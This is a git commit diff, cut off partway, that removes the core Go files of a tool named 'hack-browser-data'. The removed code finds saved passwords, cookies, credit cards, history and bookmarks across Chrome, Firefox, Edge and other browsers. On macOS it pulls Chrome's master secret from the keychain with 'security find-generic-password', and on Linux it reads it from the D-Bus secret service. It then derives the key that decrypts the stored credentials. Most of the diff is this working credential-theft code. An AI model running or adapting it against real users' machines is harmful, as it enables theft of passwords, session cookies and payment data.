parent
							
								
									c2bc33e2fe
								
							
						
					
					
						commit
						2689371812
					
				| @ -1,374 +0,0 @@ | ||||
| package core | ||||
| 
 | ||||
| import ( | ||||
| 	"errors" | ||||
| 	"fmt" | ||||
| 	"os" | ||||
| 	"path/filepath" | ||||
| 	"strings" | ||||
| 
 | ||||
| 	"hack-browser-data/core/data" | ||||
| 	"hack-browser-data/internal/log" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	chromeName         = "Chrome" | ||||
| 	chromeBetaName     = "Chrome Beta" | ||||
| 	chromiumName       = "Chromium" | ||||
| 	edgeName           = "Microsoft Edge" | ||||
| 	firefoxName        = "Firefox" | ||||
| 	firefoxBetaName    = "Firefox Beta" | ||||
| 	firefoxDevName     = "Firefox Dev" | ||||
| 	firefoxNightlyName = "Firefox Nightly" | ||||
| 	firefoxESRName     = "Firefox ESR" | ||||
| 	speed360Name       = "360speed" | ||||
| 	qqBrowserName      = "qq" | ||||
| 	braveName          = "Brave" | ||||
| 	operaName          = "Opera" | ||||
| 	operaGXName        = "OperaGX" | ||||
| 	vivaldiName        = "Vivaldi" | ||||
| 	coccocName         = "CocCoc" | ||||
| 	yandexName         = "Yandex" | ||||
| ) | ||||
| 
 | ||||
| type Browser interface { | ||||
| 	// InitSecretKey is init chrome secret key, firefox's key always empty
 | ||||
| 	InitSecretKey() error | ||||
| 
 | ||||
| 	// GetName return browser name
 | ||||
| 	GetName() string | ||||
| 
 | ||||
| 	// GetSecretKey return browser secret key
 | ||||
| 	GetSecretKey() []byte | ||||
| 
 | ||||
| 	// GetAllItems return all items (password|bookmark|cookie|history)
 | ||||
| 	GetAllItems() ([]data.Item, error) | ||||
| 
 | ||||
| 	// GetItem return single one from the password|bookmark|cookie|history
 | ||||
| 	GetItem(itemName string) (data.Item, error) | ||||
| } | ||||
| 
 | ||||
| const ( | ||||
| 	cookie     = "cookie" | ||||
| 	history    = "history" | ||||
| 	bookmark   = "bookmark" | ||||
| 	download   = "download" | ||||
| 	password   = "password" | ||||
| 	creditcard = "creditcard" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	errItemNotSupported    = errors.New(`item not supported, default is "all", choose from history|download|password|bookmark|cookie`) | ||||
| 	errBrowserNotSupported = errors.New("browser not supported") | ||||
| 	errChromeSecretIsEmpty = errors.New("chrome secret is empty") | ||||
| 	errDbusSecretIsEmpty   = errors.New("dbus secret key is empty") | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	chromiumItems = map[string]struct { | ||||
| 		mainFile string | ||||
| 		newItem  func(mainFile, subFile string) data.Item | ||||
| 	}{ | ||||
| 		bookmark: { | ||||
| 			mainFile: data.ChromeBookmarkFile, | ||||
| 			newItem:  data.NewBookmarks, | ||||
| 		}, | ||||
| 		cookie: { | ||||
| 			mainFile: data.ChromeCookieFile, | ||||
| 			newItem:  data.NewCookies, | ||||
| 		}, | ||||
| 		history: { | ||||
| 			mainFile: data.ChromeHistoryFile, | ||||
| 			newItem:  data.NewHistoryData, | ||||
| 		}, | ||||
| 		download: { | ||||
| 			mainFile: data.ChromeDownloadFile, | ||||
| 			newItem:  data.NewDownloads, | ||||
| 		}, | ||||
| 		password: { | ||||
| 			mainFile: data.ChromePasswordFile, | ||||
| 			newItem:  data.NewCPasswords, | ||||
| 		}, | ||||
| 		creditcard: { | ||||
| 			mainFile: data.ChromeCreditFile, | ||||
| 			newItem:  data.NewCCards, | ||||
| 		}, | ||||
| 	} | ||||
| 	firefoxItems = map[string]struct { | ||||
| 		mainFile string | ||||
| 		subFile  string | ||||
| 		newItem  func(mainFile, subFile string) data.Item | ||||
| 	}{ | ||||
| 		bookmark: { | ||||
| 			mainFile: data.FirefoxDataFile, | ||||
| 			newItem:  data.NewBookmarks, | ||||
| 		}, | ||||
| 		cookie: { | ||||
| 			mainFile: data.FirefoxCookieFile, | ||||
| 			newItem:  data.NewCookies, | ||||
| 		}, | ||||
| 		history: { | ||||
| 			mainFile: data.FirefoxDataFile, | ||||
| 			newItem:  data.NewHistoryData, | ||||
| 		}, | ||||
| 		download: { | ||||
| 			mainFile: data.FirefoxDataFile, | ||||
| 			newItem:  data.NewDownloads, | ||||
| 		}, | ||||
| 		password: { | ||||
| 			mainFile: data.FirefoxKey4File, | ||||
| 			subFile:  data.FirefoxLoginFile, | ||||
| 			newItem:  data.NewFPasswords, | ||||
| 		}, | ||||
| 	} | ||||
| ) | ||||
| 
 | ||||
| type Chromium struct { | ||||
| 	name        string | ||||
| 	profilePath string | ||||
| 	keyPath     string | ||||
| 	storage     string // storage use for linux and macOS, get secret key
 | ||||
| 	secretKey   []byte | ||||
| } | ||||
| 
 | ||||
| // NewChromium return Chromium browser interface
 | ||||
| func NewChromium(profile, key, name, storage string) (Browser, error) { | ||||
| 	return &Chromium{profilePath: profile, keyPath: key, name: name, storage: storage}, nil | ||||
| } | ||||
| 
 | ||||
| func (c *Chromium) GetName() string { | ||||
| 	return c.name | ||||
| } | ||||
| 
 | ||||
| func (c *Chromium) GetSecretKey() []byte { | ||||
| 	return c.secretKey | ||||
| } | ||||
| 
 | ||||
| // GetAllItems return all chromium items from browser
 | ||||
| // if can't find the item path, log error then continue
 | ||||
| func (c *Chromium) GetAllItems() ([]data.Item, error) { | ||||
| 	var items []data.Item | ||||
| 	for item, choice := range chromiumItems { | ||||
| 		m, err := getItemPath(c.profilePath, choice.mainFile) | ||||
| 		if err != nil { | ||||
| 			log.Debugf("%s find %s file failed, ERR:%s", c.name, item, err) | ||||
| 			continue | ||||
| 		} | ||||
| 		i := choice.newItem(m, "") | ||||
| 		log.Debugf("%s find %s File Success", c.name, item) | ||||
| 		items = append(items, i) | ||||
| 	} | ||||
| 	return items, nil | ||||
| } | ||||
| 
 | ||||
| // GetItem return single item
 | ||||
| func (c *Chromium) GetItem(itemName string) (data.Item, error) { | ||||
| 	itemName = strings.ToLower(itemName) | ||||
| 	if item, ok := chromiumItems[itemName]; ok { | ||||
| 		m, err := getItemPath(c.profilePath, item.mainFile) | ||||
| 		if err != nil { | ||||
| 			log.Debugf("%s find %s file failed, ERR:%s", c.name, item.mainFile, err) | ||||
| 		} | ||||
| 		i := item.newItem(m, "") | ||||
| 		return i, nil | ||||
| 	} else { | ||||
| 		return nil, errItemNotSupported | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| type Firefox struct { | ||||
| 	name        string | ||||
| 	profilePath string | ||||
| 	keyPath     string | ||||
| } | ||||
| 
 | ||||
| // NewFirefox return firefox browser interface
 | ||||
| func NewFirefox(profile, key, name, storage string) (Browser, error) { | ||||
| 	return &Firefox{profilePath: profile, keyPath: key, name: name}, nil | ||||
| } | ||||
| 
 | ||||
| // GetAllItems return all item with firefox
 | ||||
| func (f *Firefox) GetAllItems() ([]data.Item, error) { | ||||
| 	var items []data.Item | ||||
| 	for item, choice := range firefoxItems { | ||||
| 		var ( | ||||
| 			sub, main string | ||||
| 			err       error | ||||
| 		) | ||||
| 		if choice.subFile != "" { | ||||
| 			sub, err = getItemPath(f.profilePath, choice.subFile) | ||||
| 			if err != nil { | ||||
| 				log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err) | ||||
| 				continue | ||||
| 			} | ||||
| 		} | ||||
| 		main, err = getItemPath(f.profilePath, choice.mainFile) | ||||
| 		if err != nil { | ||||
| 			log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err) | ||||
| 			continue | ||||
| 		} | ||||
| 		i := choice.newItem(main, sub) | ||||
| 		log.Debugf("%s find %s file success", f.name, item) | ||||
| 		items = append(items, i) | ||||
| 	} | ||||
| 	return items, nil | ||||
| } | ||||
| 
 | ||||
| func (f *Firefox) GetItem(itemName string) (data.Item, error) { | ||||
| 	itemName = strings.ToLower(itemName) | ||||
| 	if item, ok := firefoxItems[itemName]; ok { | ||||
| 		var ( | ||||
| 			sub, main string | ||||
| 			err       error | ||||
| 		) | ||||
| 		if item.subFile != "" { | ||||
| 			sub, err = getItemPath(f.profilePath, item.subFile) | ||||
| 			if err != nil { | ||||
| 				log.Debugf("%s find %s file failed, ERR:%s", f.name, item.subFile, err) | ||||
| 			} | ||||
| 		} | ||||
| 		main, err = getItemPath(f.profilePath, item.mainFile) | ||||
| 		if err != nil { | ||||
| 			log.Debugf("%s find %s file failed, ERR:%s", f.name, item.mainFile, err) | ||||
| 		} | ||||
| 		i := item.newItem(main, sub) | ||||
| 		log.Debugf("%s find %s file success", f.name, item.mainFile) | ||||
| 		return i, nil | ||||
| 	} else { | ||||
| 		return nil, errItemNotSupported | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (f *Firefox) GetName() string { | ||||
| 	return f.name | ||||
| } | ||||
| 
 | ||||
| // GetSecretKey for firefox is always nil
 | ||||
| // this method used to implement Browser interface
 | ||||
| func (f *Firefox) GetSecretKey() []byte { | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| // InitSecretKey for firefox is always nil
 | ||||
| // this method used to implement Browser interface
 | ||||
| func (f *Firefox) InitSecretKey() error { | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| // PickBrowser return a list of browser interface
 | ||||
| func PickBrowser(name string) ([]Browser, error) { | ||||
| 	var browsers []Browser | ||||
| 	name = strings.ToLower(name) | ||||
| 	if name == "all" { | ||||
| 		for _, v := range browserList { | ||||
| 			b, err := v.New(v.ProfilePath, v.KeyPath, v.Name, v.Storage) | ||||
| 			if err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 			browsers = append(browsers, b) | ||||
| 		} | ||||
| 		return browsers, nil | ||||
| 	} else if choice, ok := browserList[name]; ok { | ||||
| 		b, err := choice.New(choice.ProfilePath, choice.KeyPath, choice.Name, choice.Storage) | ||||
| 		browsers = append(browsers, b) | ||||
| 		return browsers, err | ||||
| 	} | ||||
| 	return nil, errBrowserNotSupported | ||||
| } | ||||
| 
 | ||||
| // PickCustomBrowser pick single browser with custom browser profile path and key file path (windows only).
 | ||||
| // If custom key file path is empty, but the current browser requires key file (chromium for windows version > 80)
 | ||||
| // key file path will be automatically found in the profile path's parent directory.
 | ||||
| func PickCustomBrowser(browserName, cusProfile, cusKey string) ([]Browser, error) { | ||||
| 	var ( | ||||
| 		browsers []Browser | ||||
| 	) | ||||
| 	browserName = strings.ToLower(browserName) | ||||
| 	supportBrowser := strings.Join(ListBrowser(), "|") | ||||
| 	if browserName == "all" { | ||||
| 		return nil, fmt.Errorf("can't select all browser, pick one from %s with -b flag\n", supportBrowser) | ||||
| 	} | ||||
| 	if choice, ok := browserList[browserName]; ok { | ||||
| 		// if this browser need key path
 | ||||
| 		if choice.KeyPath != "" { | ||||
| 			var err error | ||||
| 			// if browser need key path and cusKey is empty, try to get key path with profile dir
 | ||||
| 			if cusKey == "" { | ||||
| 				cusKey, err = getKeyPath(cusProfile) | ||||
| 				if err != nil { | ||||
| 					return nil, err | ||||
| 				} | ||||
| 			} | ||||
| 			if err := checkKeyPath(cusKey); err != nil { | ||||
| 				return nil, err | ||||
| 			} | ||||
| 		} | ||||
| 		b, err := choice.New(cusProfile, cusKey, choice.Name, choice.Storage) | ||||
| 		browsers = append(browsers, b) | ||||
| 		return browsers, err | ||||
| 	} else { | ||||
| 		return nil, fmt.Errorf("%s not support, pick one from %s with -b flag\n", browserName, supportBrowser) | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func getItemPath(profilePath, file string) (string, error) { | ||||
| 	p, err := filepath.Glob(filepath.Join(profilePath, file)) | ||||
| 	if err != nil { | ||||
| 		return "", err | ||||
| 	} | ||||
| 	if len(p) > 0 { | ||||
| 		return p[0], nil | ||||
| 	} | ||||
| 	return "", fmt.Errorf("find %s failed", file) | ||||
| } | ||||
| 
 | ||||
| // getKeyPath try to get key file path with the browser's profile path
 | ||||
| // default key file path is in the parent directory of the profile dir, and name is [Local State]
 | ||||
| func getKeyPath(profilePath string) (string, error) { | ||||
| 	if _, err := os.Stat(filepath.Clean(profilePath)); os.IsNotExist(err) { | ||||
| 		return "", err | ||||
| 	} | ||||
| 	parentDir := getParentDirectory(profilePath) | ||||
| 	keyPath := filepath.Join(parentDir, "Local State") | ||||
| 	return keyPath, nil | ||||
| } | ||||
| 
 | ||||
| // check key file path is exist
 | ||||
| func checkKeyPath(keyPath string) error { | ||||
| 	if _, err := os.Stat(keyPath); os.IsNotExist(err) { | ||||
| 		return fmt.Errorf("secret key path not exist, please check %s", keyPath) | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func getParentDirectory(dir string) string { | ||||
| 	var ( | ||||
| 		length int | ||||
| 	) | ||||
| 	// filepath.Clean(dir) auto remove
 | ||||
| 	dir = strings.ReplaceAll(filepath.Clean(dir), `\`, `/`) | ||||
| 	length = strings.LastIndex(dir, "/") | ||||
| 	if length > 0 { | ||||
| 		if length > len([]rune(dir)) { | ||||
| 			length = len([]rune(dir)) | ||||
| 		} | ||||
| 		return string([]rune(dir)[:length]) | ||||
| 	} | ||||
| 	return "" | ||||
| } | ||||
| 
 | ||||
| func ListBrowser() []string { | ||||
| 	var l []string | ||||
| 	for k := range browserList { | ||||
| 		l = append(l, k) | ||||
| 	} | ||||
| 	return l | ||||
| } | ||||
| 
 | ||||
| func ListItem() []string { | ||||
| 	var l []string | ||||
| 	for k := range chromiumItems { | ||||
| 		l = append(l, k) | ||||
| 	} | ||||
| 	return l | ||||
| } | ||||
| @ -1,165 +0,0 @@ | ||||
| package core | ||||
| 
 | ||||
| import ( | ||||
| 	"bytes" | ||||
| 	"crypto/sha1" | ||||
| 	"errors" | ||||
| 	"os/exec" | ||||
| 
 | ||||
| 	"golang.org/x/crypto/pbkdf2" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	fireFoxProfilePath        = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release*/" | ||||
| 	fireFoxBetaProfilePath    = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-beta*/" | ||||
| 	fireFoxDevProfilePath     = "/Users/*/Library/Application Support/Firefox/Profiles/*.dev-edition-default*/" | ||||
| 	fireFoxNightlyProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-nightly*/" | ||||
| 	fireFoxESRProfilePath     = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-esr*/" | ||||
| 	chromeProfilePath         = "/Users/*/Library/Application Support/Google/Chrome/*/" | ||||
| 	chromeBetaProfilePath     = "/Users/*/Library/Application Support/Google/Chrome Beta/*/" | ||||
| 	chromiumProfilePath       = "/Users/*/Library/Application Support/Chromium/*/" | ||||
| 	edgeProfilePath           = "/Users/*/Library/Application Support/Microsoft Edge/*/" | ||||
| 	braveProfilePath          = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/" | ||||
| 	operaProfilePath          = "/Users/*/Library/Application Support/com.operasoftware.Opera/" | ||||
| 	operaGXProfilePath        = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/" | ||||
| 	vivaldiProfilePath        = "/Users/*/Library/Application Support/Vivaldi/*/" | ||||
| 	coccocProfilePath         = "/Users/*/Library/Application Support/Coccoc/*/" | ||||
| 	yandexProfilePath         = "/Users/*/Library/Application Support/Yandex/YandexBrowser/*/" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	chromeStorageName     = "Chrome" | ||||
| 	chromeBetaStorageName = "Chrome" | ||||
| 	chromiumStorageName   = "Chromium" | ||||
| 	edgeStorageName       = "Microsoft Edge" | ||||
| 	braveStorageName      = "Brave" | ||||
| 	operaStorageName      = "Opera" | ||||
| 	vivaldiStorageName    = "Vivaldi" | ||||
| 	coccocStorageName     = "CocCoc" | ||||
| 	yandexStorageName     = "Yandex" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	browserList = map[string]struct { | ||||
| 		ProfilePath string | ||||
| 		Name        string | ||||
| 		KeyPath     string | ||||
| 		Storage     string | ||||
| 		New         func(profile, key, name, storage string) (Browser, error) | ||||
| 	}{ | ||||
| 		"firefox": { | ||||
| 			ProfilePath: fireFoxProfilePath, | ||||
| 			Name:        firefoxName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-beta": { | ||||
| 			ProfilePath: fireFoxBetaProfilePath, | ||||
| 			Name:        firefoxBetaName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-dev": { | ||||
| 			ProfilePath: fireFoxDevProfilePath, | ||||
| 			Name:        firefoxDevName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-nightly": { | ||||
| 			ProfilePath: fireFoxNightlyProfilePath, | ||||
| 			Name:        firefoxNightlyName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-esr": { | ||||
| 			ProfilePath: fireFoxESRProfilePath, | ||||
| 			Name:        firefoxESRName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"chrome": { | ||||
| 			ProfilePath: chromeProfilePath, | ||||
| 			Name:        chromeName, | ||||
| 			Storage:     chromeStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"chromium": { | ||||
| 			ProfilePath: chromiumProfilePath, | ||||
| 			Name:        chromiumName, | ||||
| 			Storage:     chromiumStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"edge": { | ||||
| 			ProfilePath: edgeProfilePath, | ||||
| 			Name:        edgeName, | ||||
| 			Storage:     edgeStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"brave": { | ||||
| 			ProfilePath: braveProfilePath, | ||||
| 			Name:        braveName, | ||||
| 			Storage:     braveStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"chrome-beta": { | ||||
| 			ProfilePath: chromeBetaProfilePath, | ||||
| 			Name:        chromeBetaName, | ||||
| 			Storage:     chromeBetaStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"opera": { | ||||
| 			ProfilePath: operaProfilePath, | ||||
| 			Name:        operaName, | ||||
| 			Storage:     operaStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"opera-gx": { | ||||
| 			ProfilePath: operaGXProfilePath, | ||||
| 			Name:        operaGXName, | ||||
| 			Storage:     operaStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"vivaldi": { | ||||
| 			ProfilePath: vivaldiProfilePath, | ||||
| 			Name:        vivaldiName, | ||||
| 			Storage:     vivaldiStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"coccoc": { | ||||
| 			ProfilePath: coccocProfilePath, | ||||
| 			Name:        coccocName, | ||||
| 			Storage:     coccocStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"yandex": { | ||||
| 			ProfilePath: yandexProfilePath, | ||||
| 			Name:        yandexName, | ||||
| 			Storage:     yandexStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 	} | ||||
| ) | ||||
| 
 | ||||
| func (c *Chromium) InitSecretKey() error { | ||||
| 	var ( | ||||
| 		cmd            *exec.Cmd | ||||
| 		stdout, stderr bytes.Buffer | ||||
| 	) | ||||
| 	// ➜ security find-generic-password -wa 'Chrome'
 | ||||
| 	cmd = exec.Command("security", "find-generic-password", "-wa", c.storage) | ||||
| 	cmd.Stdout = &stdout | ||||
| 	cmd.Stderr = &stderr | ||||
| 	err := cmd.Run() | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	if stderr.Len() > 0 { | ||||
| 		err = errors.New(stderr.String()) | ||||
| 		return err | ||||
| 	} | ||||
| 	temp := stdout.Bytes() | ||||
| 	chromeSecret := temp[:len(temp)-1] | ||||
| 	if chromeSecret == nil { | ||||
| 		return errChromeSecretIsEmpty | ||||
| 	} | ||||
| 	var chromeSalt = []byte("saltysalt") | ||||
| 	// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
 | ||||
| 	key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) | ||||
| 	c.secretKey = key | ||||
| 	return nil | ||||
| } | ||||
| @ -1,167 +0,0 @@ | ||||
| package core | ||||
| 
 | ||||
| import ( | ||||
| 	"crypto/sha1" | ||||
| 
 | ||||
| 	"github.com/godbus/dbus/v5" | ||||
| 	keyring "github.com/ppacher/go-dbus-keyring" | ||||
| 	"golang.org/x/crypto/pbkdf2" | ||||
| 
 | ||||
| 	"hack-browser-data/internal/log" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	fireFoxProfilePath        = "/home/*/.mozilla/firefox/*.default-release*/" | ||||
| 	fireFoxBetaProfilePath    = "/home/*/.mozilla/firefox/*.default-beta*/" | ||||
| 	fireFoxDevProfilePath     = "/home/*/.mozilla/firefox/*.dev-edition-default*/" | ||||
| 	fireFoxNightlyProfilePath = "/home/*/.mozilla/firefox/*.default-nightly*/" | ||||
| 	fireFoxESRProfilePath     = "/home/*/.mozilla/firefox/*.default-esr*/" | ||||
| 	chromeProfilePath         = "/home/*/.config/google-chrome/*/" | ||||
| 	chromiumProfilePath       = "/home/*/.config/chromium/*/" | ||||
| 	edgeProfilePath           = "/home/*/.config/microsoft-edge*/*/" | ||||
| 	braveProfilePath          = "/home/*/.config/BraveSoftware/Brave-Browser/*/" | ||||
| 	chromeBetaProfilePath     = "/home/*/.config/google-chrome-beta/*/" | ||||
| 	operaProfilePath          = "/home/*/.config/opera/" | ||||
| 	vivaldiProfilePath        = "/home/*/.config/vivaldi/*/" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	chromeStorageName     = "Chrome Safe Storage" | ||||
| 	chromiumStorageName   = "Chromium Safe Storage" | ||||
| 	edgeStorageName       = "Chromium Safe Storage" | ||||
| 	braveStorageName      = "Brave Safe Storage" | ||||
| 	chromeBetaStorageName = "Chrome Safe Storage" | ||||
| 	operaStorageName      = "Chromium Safe Storage" | ||||
| 	vivaldiStorageName    = "Chrome Safe Storage" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	browserList = map[string]struct { | ||||
| 		ProfilePath string | ||||
| 		Name        string | ||||
| 		KeyPath     string | ||||
| 		Storage     string | ||||
| 		New         func(profile, key, name, storage string) (Browser, error) | ||||
| 	}{ | ||||
| 		"firefox": { | ||||
| 			ProfilePath: fireFoxProfilePath, | ||||
| 			Name:        firefoxName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-beta": { | ||||
| 			ProfilePath: fireFoxBetaProfilePath, | ||||
| 			Name:        firefoxBetaName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-dev": { | ||||
| 			ProfilePath: fireFoxDevProfilePath, | ||||
| 			Name:        firefoxDevName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-nightly": { | ||||
| 			ProfilePath: fireFoxNightlyProfilePath, | ||||
| 			Name:        firefoxNightlyName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-esr": { | ||||
| 			ProfilePath: fireFoxESRProfilePath, | ||||
| 			Name:        firefoxESRName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"chrome": { | ||||
| 			ProfilePath: chromeProfilePath, | ||||
| 			Name:        chromeName, | ||||
| 			Storage:     chromeStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"edge": { | ||||
| 			ProfilePath: edgeProfilePath, | ||||
| 			Name:        edgeName, | ||||
| 			Storage:     edgeStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"brave": { | ||||
| 			ProfilePath: braveProfilePath, | ||||
| 			Name:        braveName, | ||||
| 			Storage:     braveStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"chrome-beta": { | ||||
| 			ProfilePath: chromeBetaProfilePath, | ||||
| 			Name:        chromeBetaName, | ||||
| 			Storage:     chromeBetaStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"chromium": { | ||||
| 			ProfilePath: chromiumProfilePath, | ||||
| 			Name:        chromiumName, | ||||
| 			Storage:     chromiumStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"opera": { | ||||
| 			ProfilePath: operaProfilePath, | ||||
| 			Name:        operaName, | ||||
| 			Storage:     operaStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"vivaldi": { | ||||
| 			ProfilePath: vivaldiProfilePath, | ||||
| 			Name:        vivaldiName, | ||||
| 			Storage:     vivaldiStorageName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 	} | ||||
| ) | ||||
| 
 | ||||
| func (c *Chromium) InitSecretKey() error { | ||||
| 	// what is d-bus @https://dbus.freedesktop.org/
 | ||||
| 	var chromeSecret []byte | ||||
| 	conn, err := dbus.SessionBus() | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	svc, err := keyring.GetSecretService(conn) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	session, err := svc.OpenSession() | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer func() { | ||||
| 		session.Close() | ||||
| 	}() | ||||
| 	collections, err := svc.GetAllCollections() | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	for _, col := range collections { | ||||
| 		items, err := col.GetAllItems() | ||||
| 		if err != nil { | ||||
| 			return err | ||||
| 		} | ||||
| 		for _, item := range items { | ||||
| 			label, err := item.GetLabel() | ||||
| 			if err != nil { | ||||
| 				log.Error(err) | ||||
| 				continue | ||||
| 			} | ||||
| 			if label == c.storage { | ||||
| 				se, err := item.GetSecret(session.Path()) | ||||
| 				if err != nil { | ||||
| 					log.Error(err) | ||||
| 					return err | ||||
| 				} | ||||
| 				chromeSecret = se.Value | ||||
| 			} | ||||
| 		} | ||||
| 	} | ||||
| 	if chromeSecret == nil { | ||||
| 		return errDbusSecretIsEmpty | ||||
| 	} | ||||
| 	var chromeSalt = []byte("saltysalt") | ||||
| 	// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
 | ||||
| 	key := pbkdf2.Key(chromeSecret, chromeSalt, 1, 16, sha1.New) | ||||
| 	c.secretKey = key | ||||
| 	return nil | ||||
| } | ||||
| @ -1,178 +0,0 @@ | ||||
| package core | ||||
| 
 | ||||
| import ( | ||||
| 	"encoding/base64" | ||||
| 	"errors" | ||||
| 	"fmt" | ||||
| 	"os" | ||||
| 
 | ||||
| 	"hack-browser-data/core/decrypt" | ||||
| 	"hack-browser-data/internal/utils" | ||||
| 
 | ||||
| 	"github.com/tidwall/gjson" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	firefoxProfilePath        = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release*/" | ||||
| 	fireFoxBetaProfilePath    = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-beta*/" | ||||
| 	fireFoxDevProfilePath     = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.dev-edition-default*/" | ||||
| 	fireFoxNightlyProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-nightly*/" | ||||
| 	fireFoxESRProfilePath     = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-esr*/" | ||||
| 	chromeProfilePath         = "/AppData/Local/Google/Chrome/User Data/*/" | ||||
| 	chromeKeyPath             = "/AppData/Local/Google/Chrome/User Data/Local State" | ||||
| 	chromeBetaProfilePath     = "/AppData/Local/Google/Chrome Beta/User Data/*/" | ||||
| 	chromeBetaKeyPath         = "/AppData/Local/Google/Chrome Beta/User Data/Local State" | ||||
| 	chromiumProfilePath       = "/AppData/Local/Chromium/User Data/*/" | ||||
| 	chromiumKeyPath           = "/AppData/Local/Chromium/User Data/Local State" | ||||
| 	edgeProfilePath           = "/AppData/Local/Microsoft/Edge/User Data/*/" | ||||
| 	edgeKeyPath               = "/AppData/Local/Microsoft/Edge/User Data/Local State" | ||||
| 	braveProfilePath          = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/" | ||||
| 	braveKeyPath              = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State" | ||||
| 	speed360ProfilePath       = "/AppData/Local/360chrome/Chrome/User Data/*/" | ||||
| 	qqBrowserProfilePath      = "/AppData/Local/Tencent/QQBrowser/User Data/*/" | ||||
| 	operaProfilePath          = "/AppData/Roaming/Opera Software/Opera Stable/" | ||||
| 	operaKeyPath              = "/AppData/Roaming/Opera Software/Opera Stable/Local State" | ||||
| 	operaGXProfilePath        = "/AppData/Roaming/Opera Software/Opera GX Stable/" | ||||
| 	operaGXKeyPath            = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State" | ||||
| 	vivaldiProfilePath        = "/AppData/Local/Vivaldi/User Data/Default/" | ||||
| 	vivaldiKeyPath            = "/AppData/Local/Vivaldi/Local State" | ||||
| 	coccocProfilePath         = "/AppData/Local/CocCoc/Browser/User Data/Default/" | ||||
| 	coccocKeyPath             = "/AppData/Local/CocCoc/Browser/Local State" | ||||
| 	yandexProfilePath         = "/AppData/Local/Yandex/YandexBrowser/User Data/Default" | ||||
| 	yandexKeyPath             = "/AppData/Local/Yandex/YandexBrowser/Local State" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	browserList = map[string]struct { | ||||
| 		ProfilePath string | ||||
| 		Name        string | ||||
| 		KeyPath     string | ||||
| 		Storage     string | ||||
| 		New         func(profile, key, name, storage string) (Browser, error) | ||||
| 	}{ | ||||
| 		"firefox": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath, | ||||
